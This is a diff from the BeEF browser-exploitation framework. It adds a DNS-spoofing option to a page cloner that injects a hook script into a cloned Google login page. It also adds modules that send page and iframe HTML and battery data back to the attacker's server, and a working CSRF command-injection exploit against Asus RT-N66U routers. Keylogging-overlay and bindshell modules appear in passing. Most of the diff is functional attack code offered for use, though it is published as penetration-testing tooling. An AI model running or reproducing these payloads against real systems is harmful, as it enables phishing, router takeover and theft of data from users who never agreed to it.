@server.logger.debug("Resource class: #{resource_class.inspect}")
|
||||
resource = resource_class.new(*data)
|
||||
@server.logger.debug("Resource: #{resource.inspect}")
|
||||
|
||||
append!(resource, options)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -48,6 +48,27 @@ module BeEF
|
||||
#m.split('/')[0...-1].each{|c|
|
||||
# categories.push(c.capitalize)
|
||||
#}
|
||||
|
||||
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ["ALL"]}
|
||||
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["IE"]}
|
||||
elsif m_details['description'] =~ /Firefox/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["FF"]}
|
||||
elsif m_details['description'] =~ /Chrome/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["C"]}
|
||||
elsif m_details['description'] =~ /Safari/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["S"]}
|
||||
elsif m_details['description'] =~ /Opera/i
|
||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["O"]}
|
||||
end
|
||||
#TODO:
|
||||
# - Add support for detection of target OS
|
||||
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
||||
# - Add support for multiple target browsers as currently only 1 browser will match or all
|
||||
|
||||
|
||||
|
||||
msf_module_config[key] = {
|
||||
'enable'=> true,
|
||||
'msf'=> true,
|
||||
@@ -57,7 +78,8 @@ module BeEF
|
||||
'description'=> m_details['description'],
|
||||
'authors'=> m_details['references'],
|
||||
'path'=> path,
|
||||
'class'=> 'Msf_module'
|
||||
'class'=> 'Msf_module',
|
||||
'target'=> target_browser
|
||||
}
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
|
||||
|
||||
@@ -21,7 +21,7 @@ module Channels
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
# configure the Twitter client
|
||||
Twitter.configure do |config|
|
||||
client = Twitter::REST::Client.new do |config|
|
||||
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
||||
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
||||
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
||||
@@ -29,7 +29,7 @@ module Channels
|
||||
end
|
||||
|
||||
begin
|
||||
Twitter.direct_message_create(username, message)
|
||||
client.direct_message_create(username, message)
|
||||
rescue
|
||||
print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n"
|
||||
end
|
||||
|
||||
@@ -8,6 +8,8 @@ beef:
|
||||
notifications:
|
||||
enable: false
|
||||
name: Notifications
|
||||
# Make sure you do 'gem install twitter' before enabling this feature. Leaving the twitter gem
|
||||
# in the Gemfile causes dependency issues, and this twitter feature isn't used much anyway.
|
||||
twitter:
|
||||
enable: false
|
||||
consumer_key: app_consumer_key
|
||||
|
||||
@@ -20,10 +20,15 @@ module BeEF
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
#Example: curl -H "Content-Type: application/json; charset=UTF-8"
|
||||
#-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
|
||||
#https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}'
|
||||
#-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
|
||||
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body
|
||||
# -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
|
||||
#
|
||||
# Example json_body:
|
||||
# {
|
||||
# "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/"
|
||||
# "mount": "/gmail",
|
||||
# "dns_spoof": true
|
||||
# }
|
||||
post '/clone_page' do
|
||||
request.body.rewind
|
||||
begin
|
||||
@@ -31,6 +36,7 @@ module BeEF
|
||||
uri = body["url"]
|
||||
mount = body["mount"]
|
||||
use_existing = body["use_existing"]
|
||||
dns_spoof = body["dns_spoof"]
|
||||
|
||||
if uri != nil && mount != nil
|
||||
if (uri =~ URI::regexp).nil? #invalid URI
|
||||
@@ -44,7 +50,8 @@ module BeEF
|
||||
end
|
||||
|
||||
web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
|
||||
success = web_cloner.clone_page(uri,mount,use_existing)
|
||||
success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof)
|
||||
|
||||
if success
|
||||
result = {
|
||||
"success" => true,
|
||||
@@ -95,14 +102,14 @@ module BeEF
|
||||
halt 401
|
||||
end
|
||||
|
||||
if (link =~ URI::regexp).nil?#invalid URI
|
||||
if (link =~ URI::regexp).nil? #invalid URI
|
||||
print_error "Invalid link or linktext"
|
||||
halt 401
|
||||
end
|
||||
|
||||
recipients = body["recipients"][0]
|
||||
|
||||
recipients.each do |email,name|
|
||||
recipients.each do |email, name|
|
||||
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
||||
print_error "Email [#{email}] or name [#{name}] are not valid/null."
|
||||
halt 401
|
||||
@@ -125,4 +132,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,9 +7,9 @@ module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class WebCloner
|
||||
require 'socket'
|
||||
include Singleton
|
||||
|
||||
|
||||
def initialize
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@@ -17,7 +17,7 @@ module BeEF
|
||||
@beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing)
|
||||
def clone_page(url, mount, use_existing, dns_spoof)
|
||||
print_info "Cloning page at URL #{url}"
|
||||
uri = URI(url)
|
||||
output = uri.host
|
||||
@@ -35,8 +35,9 @@ module BeEF
|
||||
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
|
||||
end
|
||||
success = true
|
||||
rescue => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
@@ -108,11 +109,23 @@ module BeEF
|
||||
interceptor.set :frameable, frameable
|
||||
interceptor.set :beef_hook, @beef_hook
|
||||
interceptor.set :cloned_page, get_page_content(file_path)
|
||||
interceptor.set :db_entry, persist_page(url,mount)
|
||||
interceptor.set :db_entry, persist_page(url, mount)
|
||||
|
||||
@http_server.mount("#{mount}", interceptor.new)
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@http_server.remap
|
||||
|
||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||
if dns_spoof
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
transaction.respond!(ip.ip_address)
|
||||
end
|
||||
end
|
||||
|
||||
success = true
|
||||
else
|
||||
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
||||
@@ -125,12 +138,11 @@ module BeEF
|
||||
private
|
||||
# Replace </head> with <BeEF_hook></head>
|
||||
def add_beef_hook(line)
|
||||
if line.include?("</head>")
|
||||
line.gsub!("</head>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif
|
||||
line.gsub!("</HEAD>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
end
|
||||
line
|
||||
if line.include?("</head>")
|
||||
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
end
|
||||
line
|
||||
end
|
||||
|
||||
private
|
||||
@@ -164,7 +176,7 @@ module BeEF
|
||||
end
|
||||
|
||||
def get_page_content(file_path)
|
||||
file = File.open(file_path,'r')
|
||||
file = File.open(file_path, 'r')
|
||||
cloned_page = file.read
|
||||
file.close
|
||||
cloned_page
|
||||
|
||||
@@ -40,7 +40,8 @@ beef.execute(function() {
|
||||
new Array("Firefox","18+","resource:///chrome/browser/skin/classic/aero/browser/webRTC-shareDevice-16.png"),
|
||||
new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),
|
||||
new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),
|
||||
new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")
|
||||
new Array("Internet Explorer","7+", "res://ieframe.dll/info_48.png"),
|
||||
new Array("Internet Explorer","10+","res://ieframe.dll/immersivelogo.png")
|
||||
);
|
||||
|
||||
for (var i=0; i<fingerprints.length; i++) {
|
||||
|
||||
@@ -8,8 +8,8 @@ beef:
|
||||
browser_fingerprinting:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Fingerprint Browser"
|
||||
description: "This module attempts to fingerprint the browser type and version using URI handlers unique to Safari, Internet Explorer and Mozilla Firefox. This method does not rely on JavaScript objects which may have been modified by the user or browser compatibility mode."
|
||||
name: "Fingerprint Browser (PoC)"
|
||||
description: "This module attempts to fingerprint the browser type and version using URI protocol handlers unique to Safari, Internet Explorer and Mozilla Firefox."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["IE", "FF", "S"]
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// Written by unsticky
|
||||
// Ported to BeEF by bcoles
|
||||
// For more information see http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var mt = document.mimeType;
|
||||
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
} else {
|
||||
result = "Unknown";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
try {
|
||||
var html_head = document.head.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_head = "Error: document has no head";
|
||||
}
|
||||
try {
|
||||
var html_body = document.body.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_body = "Error: document has no body";
|
||||
}
|
||||
try {
|
||||
var iframes = document.getElementsByTagName('iframe');
|
||||
for(var i=0; i<iframes.length; i++){
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe'+i+'='+iframes[i].contentWindow.document.body.innerHTML);
|
||||
}
|
||||
var iframe_ = "Info: iframe(s) found";
|
||||
} catch (e) {
|
||||
var iframe_ = "Error: document has no iframe or policy issue";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_page_html_iframe:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Page and iframe HTML"
|
||||
description: "This module will retrieve the HTML from the current page and any iframes (that have the same origin)."
|
||||
authors: ["bcoles","kxynos"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
16
modules/browser/hooked_domain/get_page_html_iframe/module.rb
Normal file
16
modules/browser/hooked_domain/get_page_html_iframe/module.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Get_page_html_iframe < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['head'] = @datastore['head']
|
||||
content['body'] = @datastore['body']
|
||||
content['iframe_'] = @datastore['iframe_']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,36 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
try {
|
||||
var html_head = document.head.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_head = "Error: document has no head";
|
||||
}
|
||||
try {
|
||||
var html_body = document.body.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_body = "Error: document has no body";
|
||||
}
|
||||
try {
|
||||
var iframes = document.getElementsByTagName('iframe');
|
||||
var iframe_count = iframes.length;
|
||||
for(var i=0; i<iframe_count; i++){
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_found');
|
||||
//iframes[i].parentNode.removeChild(iframes[i]);
|
||||
document.body.removeChild(iframes[0]);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed');
|
||||
}
|
||||
var iframe_ = "Info: "+ iframe_count +" iframe(s) processed";
|
||||
} catch (e) {
|
||||
var iframe_ = "Error: can not remove iframe";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
remove_stuck_iframes:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Remove stuck iframe"
|
||||
description: "This module will remove any stuck iframes (beware it will remove all of them on that node!)."
|
||||
authors: ["kxynos"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
16
modules/browser/hooked_domain/remove_stuck_iframes/module.rb
Normal file
16
modules/browser/hooked_domain/remove_stuck_iframes/module.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Remove_stuck_iframes < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['head'] = @datastore['head']
|
||||
content['body'] = @datastore['body']
|
||||
content['iframe_'] = @datastore['iframe_']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
@@ -14,7 +14,7 @@ beef.execute(function() {
|
||||
|
||||
$j("iframe").remove();
|
||||
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
|
||||
beef.dom.createIframe('fullscreen', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
beef.browser.changeFavicon(iframe_favicon);
|
||||
|
||||
@@ -28,7 +28,7 @@ beef.execute(function() {
|
||||
// 1. use the MITB code (currently doesn't work on IE)
|
||||
// 2. create an overlay iFrame while having the applet runnin in the background
|
||||
//
|
||||
// 1. setTimeout(beef.dom.createIframe('fullscreen', 'get', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
|
||||
// 1. setTimeout(beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
|
||||
// 2. beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
|
||||
// var MITBload = setInterval(function(){
|
||||
// if(beef.pageIsLoaded){
|
||||
|
||||
27
modules/exploits/router/asus_rt_n66u_cmd_exec/command.js
Executable file
27
modules/exploits/router/asus_rt_n66u_cmd_exec/command.js
Executable file
@@ -0,0 +1,27 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var gateway = '<%= @base %>';
|
||||
var exec_command = '<%= @exec_command %>';
|
||||
var timeout = 15;
|
||||
|
||||
var asus_rt_n66u_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
|
||||
|
||||
asus_rt_n66u_iframe1_<%= @command_id %>.setAttribute('src',"http://" + gateway +"/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host="+gateway+"&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd="+exec_command+"&firmver=3.0.0.4&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
|
||||
cleanup = function() {
|
||||
document.body.removeChild(asus_rt_n66u_iframe1_<%= @command_id %>);
|
||||
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
15
modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml
Executable file
15
modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml
Executable file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
asus_rt_n66u_cmd_exec:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "Asus DSL-N66U / RT-N66U cmd exec"
|
||||
description: "Attempts to inject a command against routers Asus RT-N66U / Asus DSL-N66U via CSRF.(Assumes user has logged on)"
|
||||
authors: ["kxynos", "n0x00"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
19
modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb
Executable file
19
modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb
Executable file
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Asus_rt_n66u_cmd_exec < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => '192.168.100.1'},
|
||||
{'name' => 'exec_command', 'ui_label' => 'Command to issue', 'value' => ''}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
11
modules/host/detect_default_browser/command.js
Normal file
11
modules/host/detect_default_browser/command.js
Normal file
@@ -0,0 +1,11 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser());
|
||||
|
||||
});
|
||||
|
||||
@@ -7,10 +7,10 @@ beef:
|
||||
module:
|
||||
detect_default_browser:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
category: "Host"
|
||||
name: "Detect Default Browser"
|
||||
description: "This module detects which browser is configured as the default web browser."
|
||||
authors: ["unsticky", "bcoles"]
|
||||
authors: ["unsticky"]
|
||||
target:
|
||||
working: ["IE"]
|
||||
not_working: ["All"]
|
||||
35
modules/host/detect_hp/command.js
Normal file
35
modules/host/detect_hp/command.js
Normal file
@@ -0,0 +1,35 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var is_hp = new Array;
|
||||
var dom = document.createElement('b');
|
||||
|
||||
parse_results = function() {
|
||||
var result = "false";
|
||||
if (is_hp.length) result = "true";
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result);
|
||||
};
|
||||
|
||||
var fingerprints = new Array(
|
||||
new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"),
|
||||
new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png")
|
||||
);
|
||||
|
||||
for (var i=0; i<fingerprints.length; i++) {
|
||||
var img = new Image;
|
||||
img.id = fingerprints[i][0];
|
||||
img.name = fingerprints[i][0];
|
||||
img.src = fingerprints[i][1];
|
||||
img.onload = function() { is_hp.push(this.id); dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
}
|
||||
|
||||
setTimeout('parse_results();', 2000);
|
||||
|
||||
});
|
||||
|
||||
16
modules/host/detect_hp/config.yaml
Normal file
16
modules/host/detect_hp/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_hp:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Detect Hewlett-Packard"
|
||||
description: "This module attempts to detect software installed by default on HP systems. It uses the 'res' protocol handler which works only on Internet Explorer."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["IE"]
|
||||
not_working: ["ALL"]
|
||||
15
modules/host/detect_hp/module.rb
Normal file
15
modules/host/detect_hp/module.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
##
|
||||
class Detect_hp < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['is_hp'] = @datastore['is_hp'] if not @datastore['is_hp'].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
19
modules/host/get_battery_status/command.js
Normal file
19
modules/host/get_battery_status/command.js
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
beef.execute(function() {
|
||||
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
|
||||
|
||||
if (!battery) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status");
|
||||
}
|
||||
|
||||
var chargingStatus = battery.charging;
|
||||
var batteryLevel = battery.level * 100 + "%";
|
||||
var chargingTime = battery.chargingTime;
|
||||
var dischargingTime = battery.dischargingTime;
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime);
|
||||
});
|
||||
16
modules/host/get_battery_status/config.yaml
Normal file
16
modules/host/get_battery_status/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_battery_status:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Get Battery Status"
|
||||
description: "Get informations of the victim current battery status"
|
||||
authors: ["ecneladis"]
|
||||
target:
|
||||
working: ["FF"]
|
||||
not_working: ["All"]
|
||||
17
modules/host/get_battery_status/module.rb
Normal file
17
modules/host/get_battery_status/module.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Get_battery_status < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['chargingStatus'] = @datastore['chargingStatus']
|
||||
content['batteryLevel'] = @datastore['batteryLevel']
|
||||
content['chargingTime'] = @datastore['chargingTime']
|
||||
content['dischargingTime'] = @datastore['dischargingTime']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
@@ -20,7 +20,7 @@ beef.execute(function() {
|
||||
}
|
||||
|
||||
// creates the overlay 100% width/height iFrame
|
||||
overlay = beef.dom.createIframe('fullscreen', 'get', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
|
||||
overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
|
||||
|
||||
if(beef.browser.isIE()){
|
||||
// listen for keypress events on the iFrame
|
||||
|
||||
@@ -22,11 +22,11 @@ beef.execute(function() {
|
||||
},false);
|
||||
|
||||
if (beef.browser.isC()) {
|
||||
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'375px','height':'415px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
|
||||
beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'375px','height':'415px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
|
||||
} else {
|
||||
// Don't know how NON Chrome browsers look - so just going to pop the FF dialog
|
||||
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
|
||||
beef.dom.createIframe('custom' ,{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Non-Chrome IFrame Created .. awaiting messages');
|
||||
}
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ beef:
|
||||
module:
|
||||
firefox_extension_bindshell:
|
||||
enable: true
|
||||
category: ["Exploits", "Local Host"]
|
||||
category: ["Social Engineering"]
|
||||
name: "Firefox Extension (Bindshell)"
|
||||
